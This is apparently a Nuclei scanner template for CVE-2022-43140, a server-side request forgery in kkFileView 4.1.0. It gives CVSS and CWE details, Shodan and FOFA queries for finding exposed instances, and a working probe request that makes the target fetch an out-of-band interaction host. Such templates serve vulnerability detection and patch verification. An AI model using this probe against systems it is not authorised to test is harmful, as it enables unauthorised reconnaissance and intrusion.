id: CVE-2022-43140 info: name: kkFileView 4.1.0 - Server-Side Request Forgery author: Co5mos severity: high description: | kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0. reference: - https://github.com/kekingcn/kkFileView/issues/392 - https://nvd.nist.gov/vuln/detail/CVE-2022-43140 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N cvss-score: 7.5 cve-id: CVE-2022-43140 cwe-id: CWE-918 epss-score: 0.1607 epss-percentile: 0.95432 cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: keking product: kkfileview shodan-query: http.html:"kkFileView" fofa-query: app="kkFileView" tags: cve,cve2022,ssrf,kkFileview http: - method: GET path: - "{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}" matchers: - type: word part: body words: - "

Interactsh Server

" # digest: 4a0a00473045022054da2c3d2757819352446dbb7158542c807007a8d9b762cece12dcc9d524b630022100b16e02c50f08aa578b63cc535d6acc53a8946b549b333ae9d75c95d644530def:922c64590222798bb761d5b6d8e72950